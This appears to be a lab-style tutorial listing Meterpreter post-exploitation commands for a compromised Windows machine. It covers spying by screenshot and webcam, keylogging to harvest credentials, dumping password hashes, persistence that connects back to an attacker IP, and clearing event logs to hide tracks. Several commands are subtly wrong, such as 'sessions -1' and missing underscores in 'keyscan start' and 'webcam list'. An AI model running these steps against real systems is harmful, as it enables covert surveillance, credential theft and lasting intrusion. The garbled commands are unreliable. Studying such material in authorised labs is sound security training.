1. Opening a Meterpreter Session

Once you've successfully exploited a system, you need to interact with the **Meterpreter session** to perform post-exploitation tasks.

• List all active sessions:

```
msf > sessions -1
```

- **Do you see a session with your target?**Find your Windows target and interact with the session.
- Start interacting with your session (if targeting Windows XP, for example):

```
msf > sessions -i 1
```

☐ 2. Gathering System Information

Once inside the Meterpreter session, you can gather key information about the target system.

• Get system details (OS, architecture, etc.):

```
meterpreter > sysinfo
```

This command will display information like the OS version, architecture (x86 or x64), and the hostname of the victim machine.

$\hfill \square$ 3. Identifying Current User

It's important to know under which user context you are running the Meterpreter session.

• Get the current user running Meterpreter:

```
meterpreter > getuid
```

This will tell you the username of the account that the Meterpreter session is running under (e.g., SYSTEM, Administrator, etc.).

☐ 4. File System Navigation and File Transfer

You can upload or download files between your Kali system and the victim machine.

• Navigate to the target system's directory:

```
meterpreter > pwd  # Print working directory
meterpreter > ls  # List files
meterpreter > cd <dir>  # Change directory
```

• Upload a file to the target machine:

For example, you can upload a tool like Netcat (nc.exe):

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
```

• To get help on the upload command:

```
meterpreter > help upload
```

This command will show you more details on how to use upload to transfer files to the victim machine.

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
```

☐ 5. Capture Screenshots and Webcam Images

You can use Meterpreter to spy on the target system visually by taking screenshots or using the webcam.

• Take a screenshot of the target machine:

```
meterpreter > screenshot
```

• List available webcams:

```
meterpreter > webcam list
```

•	Capture	an image	from	the	webcam:
---	---------	----------	------	-----	---------

meterpreter	>	webcam	snap
-------------	---	--------	------

☐ 6. Network Information

You may need to gather network-related information such as IP configuration and network routes.

• **Show IP configuration** (like IP address, subnet mask, and gateway):

```
meterpreter > ipconfig
```

• **View routing table** (network routes):

```
meterpreter > route
```

☐ 7. Keylogging

A keylogger can capture all keystrokes on the target machine, which is useful for harvesting credentials.

• Start keylogging:

```
meterpreter > keyscan start
```

• View captured keystrokes:

```
meterpreter > keyscan_dump
```

• Stop keylogging:

```
meterpreter > keyscan stop
```

\square 8. Dump Password Hashes

If you've gained SYSTEM privileges, you can dump password hashes from the target system, which can be cracked offline.

meterpreter > hashdump

□ 9. Establish Persistence

You can create persistence to ensure access to the target system even after a reboot.

meterpreter > run persistence -U -i 5 -p 4444 -r <attacker_IP>

- -u: Set up persistence for user logons.
- -i 5: Retry every 5 seconds if connection fails.
- -p: Listening port on the attacker machine.
- -r: Remote attacker IP address.

☐ 10. Migrate to a Stable Process

If the current Meterpreter session is running in a volatile process, you may want to migrate to a more stable one to avoid being killed.

• List processes running on the target machine:

meterpreter > ps

• Migrate to a more stable process (e.g., explorer.exe):

meterpreter > migrate <pid>

\square 11. Execute Commands on the Target

You can run system commands directly on the target machine.

• **Drop into a system shell** to run native system commands (Windows or Linux):

meterpreter > shell

☐ 12. Clear Event Logs

To cover your tracks, you can clear Windows Event Logs from the target system.

meterpreter > clearev

• Clears logs from the Event Viewer (Application, System, and Security logs).